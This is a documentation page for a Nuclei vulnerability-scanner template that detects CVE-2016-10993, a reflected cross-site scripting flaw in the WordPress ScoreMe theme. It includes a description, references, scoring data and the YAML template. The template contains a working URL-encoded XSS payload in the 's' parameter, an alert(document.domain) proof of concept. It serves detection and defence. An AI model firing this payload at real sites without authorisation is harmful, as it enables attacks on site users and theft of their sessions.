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ScoreMe Theme - Cross-Site Scripting

ID: CVE-2016-10993

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,wp-theme,xss,scoreme_project

Description

Section titled “Description”

WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2016-10993


info:
  name: ScoreMe Theme - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.vulnerability-lab.com/get_content.php?id=1808
    - https://wpvulndb.com/vulnerabilities/8431
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10993
    - https://github.com/0xkucing/CVE-2016-10993
    - https://github.com/ARPSyndicate/cvemon
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update to the ScoreMe Theme to fix the XSS vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2016-10993
    cwe-id: CWE-79
    cpe: cpe:2.3:a:scoreme_project:scoreme:*:*:*:*:*:wordpress:*:*
    epss-score: 0.00245
    epss-percentile: 0.64569
  metadata:
    framework: wordpress
    max-request: 2
    vendor: "scoreme_project"
    product: scoreme
  tags: cve2016,cve,wordpress,wp-theme,xss,scoreme_project
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/scoreme/style'


  - method: GET
    path:
      - "{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-10993.yaml"

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